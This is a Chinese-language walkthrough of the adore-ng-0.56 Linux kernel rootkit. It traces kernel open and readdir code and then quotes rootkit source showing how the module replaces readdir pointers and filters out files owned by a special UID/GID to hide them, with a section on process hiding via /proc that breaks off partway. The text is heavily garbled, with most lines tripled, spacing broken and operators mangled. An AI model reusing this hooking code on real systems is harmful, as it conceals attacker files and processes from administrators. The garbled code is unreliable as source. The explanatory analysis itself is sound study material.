i node-&i_size | = ( (__u64)le32_to_cpu(raw_inode-&i_size_high)) & & 3 2; else else e lse inode-&u.ext2_i.i_dir_acl = le 32_to_cpu( raw_i node- &i_di r_acl ); inode-&u.ext2_i.i_dir_acl = le32_to_cpu(raw_inode-&i_dir_acl); i node-&u.ext2_i.i_dir_acl = l e32_to_cpu(raw_inode-&i_dir_acl); inode-&i_generation = le3 2_to_ cpu (raw_in ode-& i_gen erati on); inode-&i_generation = le32_to_cpu(raw_inode-&i_generation); i node-&i_generation = l e32_to_cpu(raw_inode-&i_generation); inode-&u.ext2_i.i_pr eallo c_cou nt = 0; inode-&u.ext2_i.i_prealloc_count = 0; i node-&u.ext2_i.i_prealloc_count = 0 ; inode-&u.ext2_i.i_bl ock_g roup = b lock_ inode-&u.ext2_i.i_block_group = block_ i node-&u.ext2_i.i_block_group = b lock_/* /* /* * NOTE! The in-memory inode i_data array is in little-endian order * NOTE! The in-memory inode i_data array is in little-endian order * N OTE! T he i n-memory i node i _data a rray i s i n l ittle-endian o rder * even on big-endian machines: we do NOT byteswap the block numbers! * even on big-endian machines: we do NOT byteswap the block numbers! * e ven o n b ig-endian m achines: w e d o N OT b yteswap t he b lock n umbers! */ */ */ for (block = 0; bloc k & E XT2_N _BL OCKS; b lock+ +) for (block = 0; block & EXT2_N_BLOCKS; block++) f or ( block = 0 ; b lock & E XT2_N_BLOCKS; b lock++) inode-&u.ext2_i.i_data[bl ock] = raw_inod e-&i_ block [bloc k]; inode-&u.ext2_i.i_data[block] = raw_inode-&i_block[block]; i node-&u.ext2_i.i_data[block] = r aw_inode-&i_block[block];if (inode-&i_ino == E XT2_ ACL_I DX_ INO || if (inode-&i_ino == EXT2_ACL_IDX_INO || i f ( inode-&i_ino = = E XT2_ACL_IDX_INO | | inode-&i_ino == EXT2_ACL_DATA_INO) inode-&i_ino == EXT2_ACL_DATA_INO) inode-&i_ino == EXT2_ACL_DATA_INO) /* Nothing to do */ ; /* Nothing to do */ ; / * N othing t o d o * / ; else if (S_ISREG(inode-&i_mode)) { inode-&i_op = &ext2_file_inode_ inode-&i_fop = &ext2_file_inode-&i_mapping-&a_ops = &ext2_ } else if (S_ISDIR(inode-&i_mode)) { inode-&i_op = &ext2_dir_inode_ inode-&i_fop = &ext2_dir_ inode-&i_mapping-&a_ops = &ext2_ } else if (S_ISLNK(inode-&i_mode)) { if (!inode-&i_blocks) inode-&i_op = &ext2_fast_symlink_inode_ else { inode-&i_op = &page_symlink_inode_ inode-&i_mapping-&a_ops = &ext2_ } } else init_special_inode(inode, inod e-&i_mode, init_special_inode(inode, inode-&i_mode, i nit_special_inode(inode, i node-&i_mode, le32_to_cpu(raw_inode-&i_block[0])); le32_to_cpu(raw_inode-&i_block[0])); le32_to_cpu(raw_inode-&i_block[0])); brelse (bh); brelse (bh); b relse ( bh); inode-&i_attr_flags = 0; inode-&i_attr_flags = 0; i node-&i_attr_flags = 0 ; if (inode-&u.ext2_i. i_fla gs & E XT 2_SYNC_ FL) { if (inode-&u.ext2_i.i_flags & EXT2_SYNC_FL) { i f ( inode-&u.ext2_i.i_flags & E XT2_SYNC_FL) { inode-&i_attr_flags |= AT TR_FL AG_SYNCRON OUS; inode-&i_attr_flags |= ATTR_FLAG_SYNCRONOUS; i node-&i_attr_flags | = A TTR_FLAG_SYNCRONOUS; inode-&i_flags |= S_SYNC; inode-&i_flags |= S_SYNC; i node-&i_flags | = S _SYNC; } } } if (inode-&u.ext2_i. i_fla gs & E XT 2_APPEN D_FL) { if (inode-&u.ext2_i.i_flags & EXT2_APPEND_FL) { i f ( inode-&u.ext2_i.i_flags & E XT2_APPEND_FL) { inode-&i_attr_flags |= AT TR_FL AG_APPEND; inode-&i_attr_flags |= ATTR_FLAG_APPEND; i node-&i_attr_flags | = A TTR_FLAG_APPEND; inode-&i_flags |= S_APPEN D; inode-&i_flags |= S_APPEND; i node-&i_flags | = S _APPEND; } } } if (inode-&u.ext2_i. i_fla gs & E XT 2_IMMUT ABLE_ FL) { if (inode-&u.ext2_i.i_flags & EXT2_IMMUTABLE_FL) { i f ( inode-&u.ext2_i.i_flags & E XT2_IMMUTABLE_FL) { inode-&i_attr_flags |= AT TR_FL AG_IMMUTAB LE; inode-&i_attr_flags |= ATTR_FLAG_IMMUTABLE; i node-&i_attr_flags | = A TTR_FLAG_IMMUTABLE; inode-&i_flags |= S_IMMUT ABLE; inode-&i_flags |= S_IMMUTABLE; i node-&i_flags | = S _IMMUTABLE; } } } if (inode-&u.ext2_i. i_fla gs & E XT 2_NOATI ME_FL ) { if (inode-&u.ext2_i.i_flags & EXT2_NOATIME_FL) { i f ( inode-&u.ext2_i.i_flags & E XT2_NOATIME_FL) { inode-&i_attr_flags |= AT TR_FL AG_NOATIME ; inode-&i_attr_flags |= ATTR_FLAG_NOATIME; i node-&i_attr_flags | = A TTR_FLAG_NOATIME; inode-&i_flags |= S_NOATI ME; inode-&i_flags |= S_NOATIME; i node-&i_flags | = S _NOATIME; } } }bad_inode: bad_inode: bad_inode: make_bad_inode(inode ); make_bad_inode(inode); m ake_bad_inode(inode); }咱们详细看一下上面的代码。 else if (S_ISREG(inode-&i_mode)) { inode-&i_op = &ext2_file_inode_ inode-&i_fop = &ext2_file_inode-&i_mapping-&a_ops = &ext2_ 如果该文件是普通文件 （S_ISREG） 则 inode-&i_fop 为 ext2_file_operations 函数集。 ， } else if (S_ISDIR(inode-&i_mode)) { inode-&i_op = &ext2_dir_inode_ inode-&i_fop = &ext2_dir_ inode-&i_mapping-&a_ops = &ext2_ 如果该文件是目录（S_ISDIR） ，则 inode-&i_fop 为 ext2_dir_operations 函数集。 } else if (S_ISLNK(inode-&i_mode)) { if (!inode-&i_blocks) inode-&i_op = &ext2_fast_symlink_inode_ else { inode-&i_op = &page_symlink_inode_ inode-&i_mapping-&a_ops = &ext2_ } 如果该文件是链接文件（S_ISLNK） ，则不需要 inode-&i_fop 函数集。 这里是对 inode 中的 file_operations 赋值， file 结构中的 file_operations 何干？ 与 问的好，打开文件调用的是 open 系统调用。asmlinkage long sys_open(const char * filename, int flags, int mode) { char * char * c har * int fd, int fd, i nt f d,#if BITS_PER_LO NG != 32 #if BITS_PER_LONG != 32 #if B ITS_PER_LONG ! = 3 2 flags |= O_LARGEFILE; flags |= O_LARGEFILE; f lags | = O _LARGEFILE; #endif #endif #endif tmp = getname(filena me); tmp = getname(filename); t mp = g etname(filename); fd = PTR_ERR(tmp); fd = PTR_ERR(tmp); f d = P TR_ERR(tmp); if (!IS_ERR(tmp)) { if (!IS_ERR(tmp)) { i f ( !IS_ERR(tmp)) { fd = get_unused_fd(); fd = get_unused_fd(); f d = g et_unused_fd(); if (fd &= 0) { if (fd &= 0) { i f ( fd & = 0 ) { struct file *f = filp_open(tmp, flags, mode); error = PTR_ERR(f); error = PTR_ERR(f); e rror = P TR_ERR(f); if (IS_ERR(f)) if (IS_ERR(f)) i f ( IS_ERR(f)) goto out_ goto out_ g oto o ut_ fd_install(fd, f); fd_install(fd, f); f d_install(fd, f ); } } } out: out: out: putname(tmp); putname(tmp); p utname(tmp); } } }out_error: out_error: out_error: put_unused_fd(fd); put_unused_fd(fd); p ut_unused_fd(fd); fd = fd = f d = }struct file *filp_open(const char * filename, int flags, int mode) { int namei_flags, int namei_flags, i nt n amei_flags, s namei_flags = namei_flags = n amei_flags = if ((namei_flags+1) & O_A CCMOD E) if ((namei_flags+1) & O_ACCMODE) i f ( (namei_flags+1) & O _ACCMODE) namei_flags++; namei_flags++; n amei_flags++; if (namei_flags & O_ TRUNC ) if (namei_flags & O_TRUNC) i f ( namei_flags & O _TRUNC) namei_flags |= 2; namei_flags |= 2; n amei_flags | = 2 ;error = open_namei(f ilena me, n ame i_flags , mod e, &n d); error = open_namei(filename, namei_flags, mode, &nd); e rror = o pen_namei(filename, n amei_flags, m ode, & nd); if (!error) if (!error) i f ( !error) return dentry_open(nd.dentry, nd.mnt, flags);return ERR_PTR(error ); return ERR_PTR(error); r eturn E RR_PTR(error); }struct file *dentry_open(struct dentry *dentry, struct vfsmount *mnt, int flags) { struct file * struct file * s truct f ile * struct inode * struct inode * s truct i node * static LIST_HEAD(kil l_lis t); static LIST_HEAD(kill_list); s tatic L IST_HEAD(kill_list);error = -ENFILE; error = -ENFILE; e rror = - ENFILE; f = get_empty_filp(); f = get_empty_filp(); f = g et_empty_filp(); if (!f) if (!f) i f ( !f) goto cleanup_ goto cleanup_ g oto c leanup_ f-&f_flags = f-&f_flags = f -&f_flags = f-&f_mode = (flags+1 ) & O _ACCM ODE ; f-&f_mode = (flags+1) & O_ACCMODE; f -&f_mode = ( flags+1) & O _ACCMODE; inode = dentry-&d_ inode = dentry-&d_ i node = d entry-&d_ if (f-&f_mode & FMOD E_WRI TE) { if (f-&f_mode & FMODE_WRITE) { i f ( f-&f_mode & F MODE_WRITE) { error = get_write_access( inode ); error = get_write_access(inode); e rror = g et_write_access(inode); if (error) if (error) i f ( error) goto cleanup_ goto cleanup_ g oto c leanup_} } }f-&f_dentry = f-&f_dentry = f -&f_dentry = f-&f_vfsmnt = f-&f_vfsmnt = f -&f_vfsmnt = f-&f_pos = 0; f-&f_pos = 0; f -&f_pos = 0 ; f-&f_reada = 0; f-&f_reada = 0; f -&f_reada = 0 ; f-&f_op = fops_get(inode-&i_fop); file_move(f, &inode- &i_sb -&s_f ile s); file_move(f, &inode-&i_sb-&s_files); f ile_move(f, & inode-&i_sb-&s_files);/* preallocate kiobu f for O_DI REC T */ /* preallocate kiobuf for O_DIRECT */ / * p reallocate k iobuf f or O _DIRECT * / f-&f_iobuf = NULL; f-&f_iobuf = NULL; f -&f_iobuf = N ULL; f-&f_iobuf_lock = 0; f-&f_iobuf_lock = 0; f -&f_iobuf_lock = 0 ; if (f-&f_flags & O_D IRECT ) { if (f-&f_flags & O_DIRECT) { i f ( f-&f_flags & O _DIRECT) { error = alloc_kiovec(1, & f-&f_ iobuf); error = alloc_kiovec(1, &f-&f_iobuf); e rror = a lloc_kiovec(1, & f-&f_iobuf); if (error) if (error) i f ( error) goto cleanup_ goto cleanup_ g oto c leanup_ } } }if (f-&f_op && f-&f_ op-&o pen) { if (f-&f_op && f-&f_op-&open) { i f ( f-&f_op & & f -&f_op-&open) { error = f-&f_op-&open(ino de,f) ; error = f-&f_op-&open(inode,f); e rror = f -&f_op-&open(inode,f); if (error) if (error) i f ( error) goto cleanup_ goto cleanup_ g oto c leanup_ } } } f-&f_flags &= ~(O_CR EAT | O_EX CL | O_NOC TTY | O_TR UNC); f-&f_flags &= ~(O_CREAT | O_EXCL | O_NOCTTY | O_TRUNC); f -&f_flags & = ~ (O_CREAT | O _EXCL | O _NOCTTY | O _TRUNC);cleanup_all: cleanup_all: cleanup_all: if (f-&f_iobuf) if (f-&f_iobuf) i f ( f-&f_iobuf) free_kiovec(1, &f-&f_iobu f); free_kiovec(1, &f-&f_iobuf); f ree_kiovec(1, & f-&f_iobuf); fops_put(f-&f_op); fops_put(f-&f_op); f ops_put(f-&f_op); if (f-&f_mode & FMOD E_WRI TE) if (f-&f_mode & FMODE_WRITE) i f ( f-&f_mode & F MODE_WRITE) put_write_access(inode); put_write_access(inode); p ut_write_access(inode); file_move(f, &kill_l ist); /* o ut of the w ay.. */ file_move(f, &kill_list); /* out of the way.. */ f ile_move(f, & kill_list); / * o ut o f t he w ay.. * / f-&f_dentry = NULL; f-&f_dentry = NULL; f -&f_dentry = N ULL; f-&f_vfsmnt = NULL; f-&f_vfsmnt = NULL; f -&f_vfsmnt = N ULL; cleanup_file: cleanup_file: cleanup_file: put_filp(f); put_filp(f); p ut_filp(f); cleanup_dentry: cleanup_dentry: cleanup_dentry: dput(dentry); dput(dentry); d put(dentry); mntput(mnt); mntput(mnt); m ntput(mnt); return ERR_PTR(error ); return ERR_PTR(error); r eturn E RR_PTR(error); }#define fops_get(fops) \ (((fops) && (fops)-&owner) \ ? ( try_inc_mod_count((fops)-&owner) ? (fops) : NULL ) \ : (fops))从上面列出的内核代码看，open 系统调用 sys_open（）函数调用 filp_open（） ，而 filp_open()又调用 dentry_open()，在该调用中通过如下一行f-&f_op = fops_get(inode-&i_fop);把 inode 中的 file_operations 函数集赋值给 file 中的 file_operations 函数集。也 就 是 说 如 果 open 系 统 调 用 打 开 的 “ aaa ” 是 普 通 文 件 ， 则 这 里 的 f-&f_op 为 ext2_file_operations 函 数 集 ； 如 果 “ aaa ” 为 目 录 ， 则 f-&f_op 为 ext2_dir_operations 函数集。 上面说了那么多，也列了很多 Linux 内核代码，有点乱是吗？好的，让我来给你理一下思路。 假设 ls 命令要列出当前目录的文件（当前目录在 ext2 文件系统） ，则从 strace 的输出中知 道，它首先要 open 当前目录文件， 返回一个文件句柄，该句柄对应到内核中就是一个 file 对 象 ， 而 该 file 对 象 的 file_operations 函 数 集 从 当 前 目 录 的 inode 的 file_operations 函数集取得，这里就是 ext2_file_operations。 当通过 getdents64 系统调用了来获取当前目录下的文件时， file-&f_op-&readdir(file, buf, filler)调用的实际上是 ext2_dir_operations 函数集中的 readdir()函数。即由 ext2 文件系统驱动来读取当前目录文件中的一个个目录项。 我 们 要 隐 藏 文 件 ， 只 要 替 换 这 里 的 f_op-&readdir 函 数 指 针 ， 也 就 是 ext2_dir_operations 函数集中的 readdir 函数指针即可。 Adore-ng-0.56 rootkit 就使用了上面介绍的技术！ 让我们看看 adore-ng-0.56 rootkit 中与隐藏文件相关的实现吧。 首先，在 adore-ng.o 内核模块被载入时要替换根文件中的“readdir”函数。int init_module() { struct proc_dir_entr y *pd e = N ULL ; struct proc_dir_entry *pde = NULL; s truct p roc_dir_entry * pde = N ULL; int i = 0, j = 0; int i = 0, j = 0; i nt i = 0 , j = 0 ;EXPORT_NO_SYMBOLS; EXPORT_NO_SYMBOLS; EXPORT_NO_SYMBOLS;memset(hidden_procs, 0, s izeof (hi dden_pr ocs)) ; memset(hidden_procs, 0, sizeof(hidden_procs)); m emset(hidden_procs, 0 , s izeof(hidden_procs));pde = proc_find_tcp( ); pde = proc_find_tcp(); p de = p roc_find_tcp(); o_get_info_tcp = pde -&get _ o_get_info_tcp = pde-&get_ o _get_info_tcp = p de-&get_ pde-&get_info = n_ge t_inf o_ pde-&get_info = n_get_info_ p de-&get_info = n _get_info_orig_proc_lookup = p roc_r oot.p roc _iops-& orig_proc_lookup = proc_root.proc_iops-& o rig_proc_lookup = p roc_root.proc_iops-& proc_root.proc_iops- &look up = a do re_ proc_root.proc_iops-&lookup = adore_ p roc_root.proc_iops-&lookup = a dore_patch_vfs( proc_ fs, & orig_ proc_ rea dd ir, a dore_ proc_ readd ir); patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); patch_vfs(proc_fs, & orig_proc_readdir, a dore_proc_readdir); patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); if (opt_fs) if (opt_fs) i f ( opt_fs) patch_vfs(opt_fs, &orig_o pt_re addir, patch_vfs(opt_fs, &orig_opt_readdir, p atch_vfs(opt_fs, & orig_opt_readdir, adore_opt_readdir); adore_opt_readdir); adore_opt_readdir);patch_syslog(); patch_syslog(); p atch_syslog(); 。。 。char *root_fs = &/&;/* default FS to hide files */int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) { struct file *filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0); if (IS_ERR(filep)) { return -1; }if (orig_readdir) *orig_readdir = filep-&f_op-& 保存原始的“readdir”函数filep-&f_op-&readdir = new_ filp_close(filep, 0); return 0; }用黑客软件的“readdir”替换原来系统的root_fs 是根目录（ “/”。 ） patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); 上面的代码用 adore_root_readdir（）函数替换根目录所在的“readdir” ，而原来的 readdir 函数地址则被保存到 orig_root_readdir 中，以便在黑客软件退出时能恢复。 你通过 ava 控制界面来隐藏文件，比如： [wzhou@DEBUG wzhou]$ ./ava h test 看 ava.c 中的源码/* hide file */case 'h': if (adore_hidefile(a, argv[2]) &= 0) printf(&File '%s' is now hidden.\n&, argv[2]); else printf(&Can't hide file.\n&);调用函数 adore_hidefile（a，”test”） 。 下面是在 libinvisible.c 中的 adore_hidefile（）函数。/* Hide a file */ int adore_hidefile(adore_t *a, char *path) { return lchown(path, ELITE_UID, ELITE_GID); }ELITE_UID 与 ELITE_GID 是两个定义在 Makefile 中的常数。CFLAGS+=-DELITE_UID=U -DELITE_GID=U粗看，有点莫名其妙。我们要求的是隐藏文件“test” ，但 ava 却是通过系统调用 lchown 来 改变该文件的 UID（User ID）和 GID（Group ID） ，好像风马牛不相及。 看看 adnore-ng.o 中的对“readdir”的处理就明白了。/* About the locking of these global vars: * I used to lock these via rwlocks but on SMP systems this can cause * a deadlock because the iget() locks an inode itself and I guess this * could cause a locking situation of AB BA. So, I do not lock root_sb and * root_filldir (same with opt_) anymore. root_filldir should anyway always * be the same (filldir64 or filldir, depending on the libc). The worst thing that * could happen is that 2 processes call filldir where the 2nd is replacing * root_sb which affects the 1st process which AT WORST CASE shows the hidden files. * Following conditions have to be met then: 1. SMP 2. 2 processes calling getdents() * on 2 different partitions with the same FS. * Now, since I made an array of super_blocks it must also be that the PIDs of * these procs have to be the same PID modulo 1024. This sitation (all 3 cases must * be met) should be very very rare. */ filldir_t root_filldir = NULL; struct super_block *root_sb[1024];int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x) { struct inode *inode = NULL; int r = 0; uid_gid_if ((inode = iget(root_sb[current-&pid % 1024], ino)) == NULL) return 0; uid = inode-&i_ gid = inode-&i_ iput(inode);/* Is it hidden ? */ if (uid == ELITE_UID && gid == ELITE_GID) { r = 0; } else r = root_filldir(buf, name, nlen, off, ino, x); }int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir) { int r = 0;if (!fp || !fp-&f_vfsmnt) return 0;root_filldir = root_sb[current-&pid % 1024] = fp-&f_vfsmnt-&mnt_ r = orig_root_readdir(fp, buf, adore_root_filldir); }我们上面分析过了，当读取目录时，就会调用到被我们替换的“readdir”函数，也就是上面 的 adore_root_readdir()函数。该函数用回调函数 adore_root_filldir()函数来一次 次读取该目录下的目录项。我们看看下面几行代码： uid = inode-&i_ gid = inode-&i_ iput(inode); /* Is it hidden ? */ if (uid == ELITE_UID && gid == ELITE_GID) { r = 0; 如果该文件的 uid 和 gid 等于 ELITE_UID 和 ELITE_GID， } else 则返回 0，表示没有读到该目录项，这就达成了隐藏的目的 r = root_filldir(buf, name, nlen, off, ino, x); 如果 不是该文件的 uid 和 gid 并不是特殊的，则调用原来的“filldir”回调函数， 自然一切正常 取得节点的 uid 和 gid如果你不启动 adore-ng-0.56 的 LKM，则你就能看到具有 ELITE_UID 和 ELITE_GID 的文 件。比如象下图所示：那么怎样再次显示已被隐藏的文件呢？既然只要把文件的 uid 与 gid 改成特殊的 ELITE_UID 和 ELITE_GID，就可以实现隐藏，那么只要把隐藏文件的 uid 和 gid 恢复就可以显示了。但 有个遗憾，adoreng-0.56 并没有记录文件原有的 uid 和 gid，所以它不能恢复到原来的文件 所有者。Adore-ng-0.56 的处理是把该文件归位 root 用户了。上图中被恢复显示的“test”文件的 UID 与 GID 变成了 root 用户。 Adore-ng-0.56 还支持任意目录的文件隐藏。什么意思呢？比如“/”目录所在的文件系统是 ext2 文件系统，但“/mnt/vfat”目录是 Windows 系统的 FAT32 文件系统（通过 mount 命 令把 FAT32 分区挂接到“/mnt/vfat”目录） 。那么象上面那样只修改了 root 分区(ext2 文 件 系 统 ) 的 file_operations 函 数 集 中 的 “ readdir ” 函 数 指 针 ， 那 是 没 办 法 隐 藏“/mnt/vfat” 目录中的文件的。 因为当访问该目录及目录下的文件 （目录） 调用的是 FAT32 时， 文 件 系 统 中 的 file_operations 函 数 集 中 的 “ readdir ” 函 数 ， 自 然 不 会 调 用 到 adore-ng-0.56 中的“readdir”函数。所以 adore-ng-0.56 有下面的代码：patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir); patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir); if (opt_fs) patch_vfs(opt_fs, &orig_opt_readdir, adore_opt_readdir);char *opt_fs = NULL; MODULE_PARM(opt_fs, &s&);Opt_fs 是黑客可以定制的目录，可以在载入 adore-ng 内核模块时指定要监控什么目录。默 认情况是不监控，也就是上面代码中为“NULL” 。如要监控“/mnt/vfat”目录的 Fat32 文件 系统，则只要在载入模块时指定 opt_fs 为“/mnt/vfat”即可。 上面代码中的一行patch_vfs(proc_fs, &orig_proc_readdir, adore_proc_readdir);与进程隐藏有关，见下一节剖析。 现在应该明白了 adore-ng 是怎么实现文件隐藏了吧！ 另外提一句， 文件虽然被隐藏， 但一点都不影响对该文件的其他操作， 比如你可以读， 写该文件， 如果该文件可执行的话，你还可以执行该“看不见”的文件。道理很简单，adore-ng-0.56 只替换了目录文件中的“readdir”函数，其他的函数都正常工作。 你能够打开一个根本看不见的文件，是不是很奇妙？进程隐藏要实现进程隐藏，自然先得搞清楚计算机用户是怎样查询当前系统上运行着哪些进程的。 1. 普通用户的视角 用户一般用 ps，top 之类命令来查看当前运行进程，象下图所示：同文件隐藏类似，早期的黑客软件通过用黑客自己定制过的 ps，top 程序替换“肉鸡”机 器上的这类命令以达到隐藏进程的目的。这种方法比较容易被察觉。 2. 程序员的视角 无论 ps 还是 top，都是用户程序，它们不可能直接去查询 Linux 内核中与进程相关的数 据结构，肯定是通过什么接口。是什么呢？Linux 的系统调用表中好像没有获得当前运行 进程列表的系统调用，而且也没有类似 Windows 下的 dbghelp.dll 这样的工具库。怎么 办？我们有 strace，还是跟踪一下吧！ [wzhou@DEBUG wzhou]$ strace Co /mnt/hgfs/share/ps.txt ps aux监控到的系统调用列表如下open(&/proc&, O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 6 fstat64(6, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 fcntl64(6, F_SETFD, FD_CLOEXEC) = 0getdents64(0x6, 0xx400, 0x8163d68) = 1016 getdents64(0x6, 0xx400, 0x8163d68) = 688 stat64(&/proc/1&, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open(&/proc/1/stat&, O_RDONLY) = 7read(7, &1 (init) S 0 0 0 0 -1 256 78 173&..., 511) = 189 close(7) open(&/proc/1/statm&, O_RDONLY) = 0 = 7read(7, &120 120 107 7 0 113 13\n&, 511) = 23 close(7) open(&/proc/1/status&, O_RDONLY) = 0 = 7read(7, &Name:\tinit\nState:\tS (sleeping)\nT&..., 511) = 423 close(7) … stat64(&/proc/2&, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open(&/proc/2/stat&, O_RDONLY) = 7 = 0read(7, &2 (keventd) S 1 1 1 0 -1 131136 &..., 511) = 132 close(7) open(&/proc/2/statm&, O_RDONLY) read(7, &0 0 0 0 0 0 0\n&, 511) close(7) open(&/proc/2/status&, O_RDONLY) = 0 = 7 = 0 = 7 = 14read(7, &Name:\tkeventd\nState:\tS (sleeping&..., 511) = 291 close(7) open(&/proc/2/cmdline&, O_RDONLY) read(7, &&, 2047) close(7) open(&/proc/2/environ&, O_RDONLY) = 0 = 7 = 0 = 0 = -1 EACCES (Permission denied)stat64(&/proc/3&, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open(&/proc/3/stat&, O_RDONLY) = 7read(7, &3 (kapmd) S 1 1 1 0 -1
&..., 511) = 120 close(7) open(&/proc/3/statm&, O_RDONLY) read(7, &0 0 0 0 0 0 0\n&, 511) close(7) open(&/proc/3/status&, O_RDONLY) = 0 = 7 = 0 = 7 = 14read(7, &Name:\tkapmd\nState:\tS (sleeping)\n&..., 511) = 289 close(7) open(&/proc/3/cmdline&, O_RDONLY) read(7, &&, 2047) close(7) open(&/proc/3/environ&, O_RDONLY) = 0 = 7 = 0 = 0 = -1 EACCES (Permission denied)stat64(&/proc/4&, {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0 open(&/proc/4/stat&, O_RDONLY) = 7read(7, &4 (ksoftirqd_CPU0) S 1 1 1 0 -1 &..., 511) = 129close(7)= 0整个调用列表很长，我这里只摘录一点。 在 Linux 下是通过访问/proc 虚拟文件系统来读取当前系统运行进程列表的。 让我们看一下/proc 目录。[wzhou@DEBUG wzhou]$ ls /proc total 262661 dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x -r--r--r-dr-xr-xr-x -r--r--r--r--r--r--r--r--r--r--r--r-dr-xr-xr-x -r--r--r--r--r--r--r--r--r-dr-xr-xr-x dr-xr-xr-x -r--r--r--r--r--r-3 root 3 root 3 root 3 root 3 root 3 root 3 root 3 root 3 root 3 root 3 root 3 root 3 root 3 wzhou 3 root 3 root 3 root 3 wzhou 3 root 3 root 3 root 3 root 1 root 4 root 1 root 1 root 1 root 1 root 2 root 1 root 1 root 1 root 3 root 4 root 1 root 1 root root root root root root root wzhou root root root root root root wzhou root root root wzhou root root root root root root root root root root root root root root root root root root 0 Feb 23 07:46 1 0 Feb 23 07:46 16 0 Feb 23 07:46 2 0 Feb 23 07:46 252 0 Feb 23 07:46 256 0 Feb 23 07:46 283 0 Feb 23 07:46 295 0 Feb 23 07:46 296 0 Feb 23 07:46 297 0 Feb 23 07:46 298 0 Feb 23 07:46 3 0 Feb 23 07:46 301 0 Feb 23 07:46 302 0 Feb 23 07:46 303 0 Feb 23 07:46 4 0 Feb 23 07:46 5 0 Feb 23 07:46 516 0 Feb 23 07:46 527 0 Feb 23 07:46 6 0 Feb 23 07:46 7 0 Feb 23 07:46 72 0 Feb 23 07:46 8 0 Feb 23 07:46 apm 0 Feb 23 07:44 bus 0 Feb 23 07:46 cmdline 0 Feb 23 07:46 cpuinfo 0 Feb 23 07:46 devices 0 Feb 23 07:46 dma 0 Feb 23 07:46 driver 0 Feb 23 07:46 execdomains 0 Feb 23 07:46 fb 0 Feb 23 07:46 filesystems 0 Feb 23 07:45 fs 0 Feb 23 07:46 ide 0 Feb 23 07:46 interrupts 0 Feb 23 07:46 iomem-r--r--r-dr-xr-xr-x -r--------r--------r--r--r--r--r--r--r--r--r--r--r--r--r--r--r--r--r--r--r--r--r-lrwxrwxrwx -rw-r--r-dr-xr-xr-x -r--r--r--r--r--r-dr-xr-xr-x lrwxrwxrwx -rw-r--r-dr-xr-xr-x -r--r--r--r--r--r-dr-xr-xr-x dr-xr-xr-x dr-xr-xr-x -r--r--r--r--r--r--1 root 18 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 1 root 4 root 1 root 1 root 3 root 1 root 1 root 2 root 1 root 1 root 10 root 2 root 4 root 1 root 1 rootroot root root root root root root root root root root root root root root root root root root root root root root root root root root0 Feb 23 07:46 ioports 0 Feb 23 07:46 irq
Feb 23 07:46 kcore 0 Feb 23 07:44 kmsg 0 Feb 23 07:46 ksyms 0 Feb 23 07:46 loadavg 0 Feb 23 07:46 locks 0 Feb 23 07:46 mdstat 0 Feb 23 07:46 meminfo 0 Feb 23 07:46 misc 0 Feb 23 07:46 modules 11 Feb 23 07:46 mounts -& self/mounts 0 Feb 23 07:46 mtrr 0 Feb 23 07:46 net 0 Feb 23 07:46 partitions 0 Feb 23 07:46 pci 0 Feb 23 07:46 scsi 64 Feb 23 2008 self -& 5270 Feb 23 07:46 slabinfo 0 Feb 23 07:46 speakup 0 Feb 23 07:46 stat 0 Feb 23 07:46 swaps 0 Feb 23 07:46 sys 0 Feb 23 07:46 sysvipc 0 Feb 23 07:46 tty 0 Feb 23 07:46 uptime 0 Feb 23 07:46 version上面/proc 目录下标为蓝色的为数字的目录就代表当前系统中运行的进程。其中的数字就 是该进程的 PID。 以进程 252 为例：[wzhou@DEBUG wzhou]$ ls /proc/252/ total 0 -r--r--r-lrwxrwxrwx -r-------lrwxrwxrwx dr-x------r--r--r--rw-------r--r--r-lrwxrwxrwx -r--r--r-1 root 1 root 1 root 1 root 2 root 1 root 1 root 1 root 1 root 1 root root root root root root root root root root root 0 Feb 23 07:53 cmdline 0 Feb 23 07:53 cwd -& / 0 Feb 23 07:53 environ 0 Feb 23 07:53 exe -& /sbin/syslogd 0 Feb 23 07:53 fd 0 Feb 23 07:53 maps 0 Feb 23 07:53 mem 0 Feb 23 07:53 mounts 0 Feb 23 07:53 root -& / 0 Feb 23 07:53 stat-r--r--r--r--r--r--1 root 1 rootroot root0 Feb 23 07:53 statm 0 Feb 23 07:53 status这里列出的文件里是 PID 为 252 的进程的相关信息。比如 exe 指示 PID 为 256 的进程运 行的是“/sbin/syslogd”程序。Environ 文件中是该程序运行的环境，见下：[wzhou@DEBUG wzhou]$ cat /proc/252/environ CONSOLE=/dev/console TERM=linux INIT_VERSION=sysvinit-2.84 RUNLEVEL=3 runlevel=3 PWD=/PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/binLANG=en_US.UTF-8 PREVLEVEL=N previous=N HOME=/ SHLVL=2 _=/sbin/initlogPs 或 top 程序就是通过/proc 虚拟文件系统来获得运行进程相关的所有信息的。 我们如果 能拦截对 proc 虚拟文件系统的读取访问，就能做一点过滤的工作，以隐藏某些进程。 Adore-ng-0.56 就是这么干的！ Linux 系统是通过读取/proc 目录下的代表各个进程的“数字目录”来获得当前系统运行 的进程列表及其信息的（具体 Linux 内核是怎样虚拟出/proc 目录下的文件的，请参见内 核源代码 fs/proc 分支。这是一个非常有趣的虚拟文件系统，我准备好好写一篇文章来介 